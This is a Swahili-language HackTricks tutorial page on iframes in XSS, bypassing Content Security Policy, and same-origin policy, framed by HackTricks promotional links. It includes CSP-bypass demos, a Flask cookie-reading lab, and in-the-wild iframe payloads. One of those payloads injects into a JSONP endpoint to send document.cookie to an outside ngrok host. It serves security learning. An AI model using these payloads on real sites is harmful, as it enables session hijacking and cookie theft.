8.5 KiB
Iframes katika XSS, CSP na SOP
Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
- Je, unafanya kazi katika kampuni ya usalama wa mtandao? Je, ungependa kuona kampuni yako ikitangazwa kwenye HackTricks? au ungependa kupata upatikanaji wa toleo jipya la PEASS au kupakua HackTricks kwa PDF? Angalia MIPANGO YA USAJILI!
- Gundua Familia ya PEASS, mkusanyiko wetu wa kipekee wa NFTs
- Pata bidhaa rasmi za PEASS & HackTricks
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au nifuata kwenye Twitter 🐦@carlospolopm.
- Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwenye repo ya hacktricks na repo ya hacktricks-cloud.
Iframes katika XSS
Kuna njia 3 za kuonyesha maudhui ya ukurasa ulio na iframe:
- Kupitia
src
ikionyesha URL (URL inaweza kuwa ya asili tofauti au sawa) - Kupitia
src
ikionyesha maudhui kwa kutumia itifaki yadata:
- Kupitia
srcdoc
ikionyesha maudhui
Kupata Vipimo vya Mzazi na Mtoto
<html>
<script>
var secret = "31337s3cr37t";
</script>
<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
<script>
function access_children_vars(){
alert(if1.secret);
alert(if2.secret);
alert(if3.secret);
alert(if4.secret);
}
setTimeout(access_children_vars, 3000);
</script>
</html>
<!-- content of child.html -->
<script>
var secret="child secret";
alert(parent.secret)
</script>
Iframes na CSP
{% hint style="info" %} Tafadhali, elewa jinsi katika kukiuka zifuatazo majibu kwa ukurasa ulio na iframe hayana kichwa cha CSP kinachozuia utekelezaji wa JS. {% endhint %}
Thamani ya self
ya script-src
haitaruhusu utekelezaji wa msimbo wa JS ukitumia itifaki ya data:
au sifa ya srcdoc
.
Hata hivyo, hata thamani ya none
ya CSP itaruhusu utekelezaji wa iframes ambazo huingiza URL (kamili au tu njia) katika sifa ya src
.
Hivyo ni rahisi kukiuka CSP ya ukurasa na:
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='">
</head>
<script>
var secret = "31337s3cr37t";
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>
Tafadhali angalia jinsi CSP ya awali inaruhusu utekelezaji wa skripti ya ndani.
Hata hivyo, tu if1
na if2
skripti zitatekelezwa lakini if1
pekee itaweza kufikia siri ya mzazi.
Hivyo basi, ni rahisi kukiuka CSP ikiwa unaweza kupakia faili ya JS kwenye seva na kuipakia kupitia fremu hata na script-src 'none'
. Hii inaweza pia kufanywa kwa kudhuru kituo cha JSONP cha tovuti ile ile.
Unaweza kufanya majaribio haya na hali ifuatayo ambapo kuki inaibiwa hata na script-src 'none'
. Fanya programu iende na ufikie kwa kutumia kivinjari chako:
import flask
from flask import Flask
app = Flask(__name__)
@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp
@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"
if __name__ == "__main__":
app.run()
Mipakia mingine iliyopatikana porini
<!-- This one requires the data: scheme to be allowed -->
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
Iframe ya mchanga
Maudhui ndani ya iframe inaweza kuwekwa chini ya vizuizi zaidi kupitia matumizi ya sifa ya sandbox
. Kwa chaguo-msingi, sifa hii haitekelezwi, maana hakuna vizuizi vilivyowekwa.
Inapotumiwa, sifa ya sandbox
inaweka vizuizi kadhaa:
- Maudhui yanashughulikiwa kana kwamba yanatoka kwenye chanzo kimoja.
- Jaribio lolote la kuwasilisha fomu linazuiliwa.
- Utekelezaji wa scripts unazuiliwa.
- Upatikanaji wa APIs fulani unalemazwa.
- Inazuia viungo kutoka kuingiliana na muktadha mwingine wa kuvinjari.
- Matumizi ya programu-jalizi kupitia
<embed>
,<object>
,<applet>
, au vitambulisho vinavyofanana haviruhusiwi. - Uvinjari wa muktadha wa kuvinjari wa kiwango cha juu cha maudhui na maudhui yenyewe unazuiliwa.
- Vipengele vinavyoanzishwa moja kwa moja, kama vile kucheza video au kufanya fomu zifanye autofocus, vinazuiliwa.
Thamani ya sifa inaweza kuachwa tupu (sandbox=""
) ili kuweka vizuizi vyote vilivyotajwa hapo juu. Vinginevyo, inaweza kuwekwa kwa orodha ya thamani maalum zilizotenganishwa na nafasi ambazo zinatoa msamaha kwa iframe kutoka kwa vizuizi fulani.
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
Iframes katika SOP
Angalia kurasa zifuatazo:
{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}
{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}
{% content-ref url="../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}
{% content-ref url="../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}
Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!
- Je, unafanya kazi katika kampuni ya usalama wa mtandao? Je, ungependa kuona kampuni yako ikitangazwa kwenye HackTricks? au ungependa kupata upatikanaji wa toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF? Angalia MIPANGO YA USAJILI!
- Gundua Familia ya PEASS, mkusanyiko wetu wa kipekee wa NFTs
- Pata swag rasmi ya PEASS & HackTricks
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au fuata kwenye Twitter 🐦@carlospolopm.
- Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa repo ya hacktricks na repo ya hacktricks-cloud.